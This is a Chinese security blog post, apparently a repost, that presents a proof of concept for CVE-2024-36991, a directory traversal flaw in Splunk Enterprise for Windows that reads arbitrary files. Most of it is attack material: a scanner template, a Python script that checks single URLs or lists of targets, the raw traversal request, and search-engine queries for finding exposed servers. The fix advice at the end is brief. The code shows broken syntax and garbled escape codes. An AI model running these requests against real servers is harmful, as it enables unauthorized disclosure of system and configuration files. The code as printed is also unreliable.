Splunk Enterprise for Windows 任意文件读取漏洞CVE-2024-36991 poc

admin 2024年7月8日11:42:19评论37 views字数 3323阅读11分4秒阅读模式

 

POC(Yaml&Python)

话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测,如您觉得有用,请动动小手点个关注,为您每天更新最新漏洞POC)

  • 「Yaml」

id: Splunk-messaging-flieread-CVE-2024-36991

info:
name: Splunk Enterprise for Windows 任意文件读取漏洞
author: god
severity: high
description: |
Splunk Enterprise 是一款强大的数据分析软件,它允许用户从各种来源收集、索引和搜索机器生成的数据。2024年7月,官方发布安全通告,披露 CVE-2024-36991 Splunk Enterprise Windows平台 modules/messaging 目录遍历漏洞。漏洞仅影响 Windows平台上的 Splunk Enterprise,官方已发布安全更新,建议升级至最新版本。1
  metadata:
fofa-query: app="splunk-Enterprise"
tags: cve,fileread,splunk-Enterpris

http:
- raw:
- |+
@timeout: 30s
GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../windows/win.ini HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

max-redirects: 3
matchers-condition: and
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'fonts')"
condition: and

Splunk Enterprise for Windows 任意文件读取漏洞CVE-2024-36991 poc

Splunk Enterprise for Windows 任意文件读取漏洞CVE-2024-36991 poc

  • 「Python」
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import argparse
from urllib3.exceptions import InsecureRequestWarning

RED = '�33[91m'
RESET = '�33[0m'
# 忽略证书验证警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_file_read(url):
headers = {
'User-Agent''Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15'
}

file_read_url = f"{url.rstrip('/')}/en-US/modules/messaging/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/windows/win.ini"

try:
response = requests.get(file_read_url, headers=headers, verify=False, timeout=30)
if response.status_code == 200 and "fonts" in response.text:
print(f"{RED}URL [{url}] 存在Splunk Enterprise for Windows 任意文件读取漏洞{RESET}")
else:
print(f"URL [{url}] 可能不存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")

def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在Splunk Enterprise for Windows 任意文件读取漏洞')
parser.add_argument('-u''--url', help='指定目标地址')
parser.add_argument('-f''--file', help='指定包含目标地址的文本文件')

args = parser.parse_args()

if args.url:
if not args.url.startswith("http://"and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_file_read(args.url)
elif args.file:
with open(args.file, 'r'as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://"and not url.startswith("https://"):
url = "http://" + url
check_file_read(url)

if __name__ == '__main__':
main()

Splunk Enterprise for Windows 任意文件读取漏洞CVE-2024-36991 poc

漏洞介绍

Splunk Enterprise是一款功能强大的数据分析引擎,旨在从所有IT系统和基础设施数据中提供数据搜索、报表和可视化展现。Splunk Enterprise能够收集、索引和利用所有应用程序、服务器和设备(包括物理、虚拟和云中环境)生成的快速移动型计算机数据。它允许用户从一个位置搜索并分析所有实时和历史数据,为IT运营、安全监控和业务分析等领域提供全面的解决方案。其messaging接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)等等

Splunk Enterprise for Windows 任意文件读取漏洞CVE-2024-36991 poc

资产测绘

  • 「Fofa」

app="splunk-Enterprise"

  • 「Hunter」

app.name="Splunkd"

  • 「Quake」

app="splunk"

Splunk Enterprise for Windows 任意文件读取漏洞CVE-2024-36991 poc

漏洞复现

「1、构造数据包」

GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../windows/win.ini HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

「2、查看返回包」

Splunk Enterprise for Windows 任意文件读取漏洞CVE-2024-36991 poc

修复方案

  • 官方已发布安全补丁,建议联系厂商打补丁或升级版本。
  • 引入Web应用防火墙防护,配置接口拦截策略。

!!!!关浅梦安全不迷路!!
!!!!关浅梦安全不迷路!!
!!!!关浅梦安全不迷路!!

 

原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】Splunk Enterprise for Windows 任意文件读取漏洞CVE-2024-36991

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月8日11:42:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Splunk Enterprise for Windows 任意文件读取漏洞CVE-2024-36991 pochttps://cn-sec.com/archives/2929690.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息